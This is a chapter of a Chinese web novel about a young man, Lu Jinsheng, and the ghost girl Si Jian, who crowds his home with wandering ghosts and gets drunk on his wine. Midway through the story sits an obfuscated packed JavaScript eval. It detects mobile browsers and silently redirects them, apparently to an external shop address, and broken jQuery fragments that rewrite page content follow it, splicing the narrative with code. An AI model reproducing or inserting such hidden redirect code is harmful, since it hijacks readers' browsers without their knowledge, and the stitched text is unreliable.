10. 不归河(1)

作品:《鹤南斋

    老太太继续向陆瑾生介绍熙悦。


    “你别看熙悦比你小两岁,人家厉害着呢,前不久才拿了国际舞蹈奖,我说谨生啊,你们有机会可以多交流交流,说不定日后就发展出感情了呢。”


    观赏完这栋漂亮大房子以后,司简开始注意到陆瑾生对面坐着的年轻女孩。


    渐渐地,司简脸上浮现不满。


    她回头盯着陆瑾生,“你跟我说,你回家只是陪你奶奶吃饭,结果是来见姑娘的?”


    “不是这样,你别胡说……”


    陆瑾生想要同司简解释。


    对面又传来老太太的疑惑,“谨生,你在和谁说话呢?”


    这下算是难说清了。


    陆瑾生想了想,把目光从跟前的司简身上挪开。


    “……我的意思是,你别在这儿乱点鸳鸯谱,我自己的事情我自己负责,你别给我瞎操心。”


    老太太严肃些,纠正陆瑾生。


    “这哪儿是我乱给你点鸳鸯呢,熙悦是个好姑娘,我就是想让你遇到个好人家,早点儿成家立业。”


    “天天跟着研究院那帮人到处往外跑,像什么样子。”


    “行了,少叨叨我的事。”


    陆瑾生知道,有外人在,今天这顿饭不可能吃得下去。


    他站起来,“奶奶,我今天来呢,就是想看看你,顺便跟你说一声,我过几天要出趟远门,你别担心我。”


    “对了,”陆瑾生朝门口走了几步,又停下,瞥了眼老太太和熙悦,“以后别瞒着我跟我随随便便介绍女孩子,我不感兴趣。”


    话一说完,陆瑾生就关门出去,没了人影。


    司简赶在门闭合上的那一瞬间,赶紧钻出去。


    “你这孩子!”


    老太太站起来,心里有气儿。


    她安抚熙悦,“你别介意,他这孩子一直这样,太随性,打小就被我们惯坏了。”


    熙悦摇头,“奶奶,没关系。我不会往心里去的。”


    -


    “三哥,你等等我!”


    司简赶到陆瑾生身旁。


    “三哥,你刚刚真是太酷了,和我刚认识你的时候一样。”


    女孩满眼冒着星星,欢喜注视陆瑾生,目光紧紧追随他的每一次眨眼,每一次呼吸。


    “酷什么酷,明明是让你看笑话了好不好。”


    陆瑾生继续往前走,突然想到什么,又放慢脚步,好奇打听。


    “对了……你一天天的,一口一个三哥,不如你和我说说,梁安硕他到底是个怎样的人?”


    司简愣了几秒,没想到陆瑾生会突然主动询问梁安硕的事情。


    她的笑容再次绽放,“过去的三哥啊,是个特别了不起的人,在我眼里,是英雄,是顶天立地的好男儿!”


    陆瑾生轻描淡写,“可是……所有人都说着梁安硕是个大汉奸,吃里扒外的小人,怎么偏偏就你一个人咬定他是好人?”


    “他们不懂!”


    司简的语气非常坚决,“其中有误会!三哥不是那样的人!他们都不明白三哥的苦衷。”


    “切,”陆瑾生压根听不进去司简的诸多辩解,在他眼里,司简就是个十足的恋爱脑,“我看你才是脑子糊涂了,喜欢梁安硕喜欢到好坏不分的地步。”


    司简停在原地,气呼呼地看着陆瑾生继续往前走。


    她绝不允许有人如此亵渎梁安硕。


    哪怕是他本人也不行。


    道路旁的路灯泛着暖黄色光,照亮树坛中央绿草轮廓。


    陆瑾生突发奇想,想去江边散散步,刚想问司简的意见,却发现身后,没了她的踪迹。


    他有些懵,周围环顾一圈,还是没看到司简。


    这人不是口口声声说要一直跟着他,寸步不离吗?


    怎么突然没了影儿?


    去找?


    第一个萌生在陆瑾生心头的想法,很快就被他拧灭。


    简直是开玩笑。


    区区一个女鬼而已,丢了就丢了,哪里轮得到他去找。


    陆瑾生说服自己,把司简抛之脑后,在路边叫了个出租车,二话不说就上去了。


    树背后,司简缓缓走出来。


    她气呼呼盯着远去的车辆。


    这个陆瑾生,真是太坏了!全然不顾她的安危,竟然毫不犹豫把她丢在外面。


    司简越想,越不甘心。


    她必须给陆瑾生一个教训,让他见识见识,不把她放在眼里的下场。


    陆瑾生回到家以后,先是喊了一声“司简”,没有声音回应他。


    接着,他又每个房间挨个去检查一遍,确认没有司简以后,他彻底放心。


    “地图也有了,这个女鬼留着也没什么用,走了正好。”


    他越想越得意,脸上的笑容根本掩饰不住。


    为了庆祝这大好的心情,陆瑾生决定喝个小酒庆祝一下。


    他从冰箱里拿出一瓶,用开瓶器打开,朝客厅走去。


    原本还在洋洋得意,下一秒,陆瑾生直接愣在原地。


    这——这都是什么东西……


    他简直难以想象,眼前这抓马的一幕,有生之年竟然会发生在自己身上。


    司简不知道从哪儿半路上找来的孤魂野鬼。


    总之,现在一群鬼正聚在客厅里,挥舞着手臂,宛如在开一场鬼鬼party。


    这里面有三岁大的小孩,有七岁戴着红领巾的小学生,有苦着一张脸的中年妇女,也有四五十岁的秃头中年大叔。


    也不知道为什么他们变成了鬼,反正最近四处飘荡在外面,无家可归。


    司简站在最中央,活跃现场的气氛,“大家都别客气!千万别客气啊,这墙啊,天花板啊,随便踩,沙发也是。”


    她笑着在沙发上蹦,“你们在这儿打滚都行。反正,吃喝拉撒,我全给你们包了!”


    陆瑾生目瞪口呆。


    他差点还以为自己走错,来到了地府。


    手里拿着的果酒差点滑下去。


    注意到一旁的陆瑾生,司简让鬼鬼们继续快乐地蹦迪,抽身朝他走去。


    她很得意,脸上的笑无法消散,“怎么样啊?三哥?我怕你孤单,帮你热闹热闹,你是不是很喜欢?不用感谢我!”


    “要是你还喜欢的话,我明天继续,顺便再帮你多叫点鬼,一百个好像有点少了。”


    司简打量陆瑾生住的这个房子,“我再怎么看,估摸着两百个鬼是没有问题的,你觉得呢?”


    “够了!”


    陆瑾生气咬牙切齿。


    他把果酒瓶放在桌子上,转身正对着司简,气势汹汹,“你再这么胡闹,信不信我——”


    “你要怎样?”


    司简抬起头,与他目光对上。


    他的睫毛,他的鼻尖,他的嘴巴,都在近在咫尺的地方。


    有那么一瞬间,司简有些恍惚,恍惚以为,自己回到了很多年前和梁安硕朝夕相伴的日子里。


    好吧,陆瑾生想了想,他确实没有治司简的法子。


    于是,他干脆松口气。


    换了一种和气的态度。


    “这样……算我求你了行不行,赶紧让这些鬼从我家里出去,我可受不了被这么多鬼一起折腾。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996441|193900||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他摆着哀求的姿态,给司简捶肩。


    司简认真思考,随后追问,“那你以后还说不说梁安硕的坏话?”


    陆瑾生举起手,对天花板发誓,“不说了。”


    “以后你还赶不赶我走?发现我丢了,还不管不顾吗?”


    陆瑾生对天花板发誓的手,没有放下,信誓旦旦,“坚决不会!”


    “这才像话。”


    司简放心不少。打算就此为止,毕竟她的目的已经达成。


    只见她走到这群鬼的中间,拍拍手,说:“遇到点特殊情况,这里暂时没办法招待你们了,改天有需要的话,我再来找你们聚一聚,成不?”


    一群鬼被司简吆出门。


    秃顶大叔依依不舍,“司简,那你可一定要记得啊,下次有空就传我们再来!这房子这么漂亮,我可舍不得待一会儿就走。”


    “放心放心,”司简向他们保证,“有机会的话,一定!”


    门被关上。


    陆瑾生松口气。


    他追到门口,向司简确认,“他们走了不会突然回来吧?”


    司简看几眼陆瑾生,抬起下巴,“看我心情。”


    陆瑾生假惺惺冲着她笑,心里却在说她坏话。


    但说着说着,就真的说出了口。


    “这么蛮横霸道,真不知道那姓梁的怎么看上你的。”


    坐在沙发上的司简再次盯着陆瑾生,试探问,“你刚刚说什么?”


    “什么都没说,你的幻觉。”


    陆瑾生把桌子上开了的那瓶果酒拿到茶几上,准备倒在杯子里,给自己压压惊。


    一滴、两滴……


    就没了?!


    刚才打开的酒,怎么就只剩下两滴?


    陆瑾生难以置信,用力地掷了几下酒瓶子。


    空空如也。


    一滴都出不来。


    “我酒呢?”


    陆瑾生诧异地看着司简。


    这才发现,她看上去醉醺醺的,脸颊上泛着红晕。


    “我去——”


    陆瑾生站起来,“你一个鬼喝什么酒?”


    “原……原来这叫酒啊,我说怎么香香的。”


    司简有气无力的,眼睛一会又闭上一会儿又努力睁开,瘫在沙发上,结果下一秒真的昏睡过去。


    “喂?你真不省人事了?”


    陆瑾生匪夷所思,他拿起酒瓶子再三确认,“没错啊,这是果酒,果酒都能醉?”


    他走到司简跟前,俯下身,凑近些,就近仔细打量。


    谁说她真的是醉了呢?


    万一是想整他也说不定。


    陆瑾生保持着警惕,竖起自己两根手指,扒拉起她的嘴角,成微笑状。


    没反应。


    看来是真醉了。


    陆瑾生二话不说,转身要走人。


    等司简在这沙发上自生自灭。


    但是……


    走了几步,他又有些良心不安。


    如果他这么欺负这女鬼。


    那梁安硕化成鬼的话,会不会也来找他麻烦。


    想了想,陆瑾生决定还是不要做这种冒险的事。


    他转身回头,把沙发上的司简抱进客房。


    放到床上以后,陆瑾生拍拍手,接连感叹,“这年头,鬼都能有房间了,也是遇上我啊,你运气才这么好。”


    他玩外走,拐进厨房,准备煮点醒酒汤。


    都说鬼不用吃东西,但是司简还是偷喝了果酒。


    那就配合配合她,姑且把她当做特别的鬼。


    喂她点醒酒汤喝喝,看看有没有效果。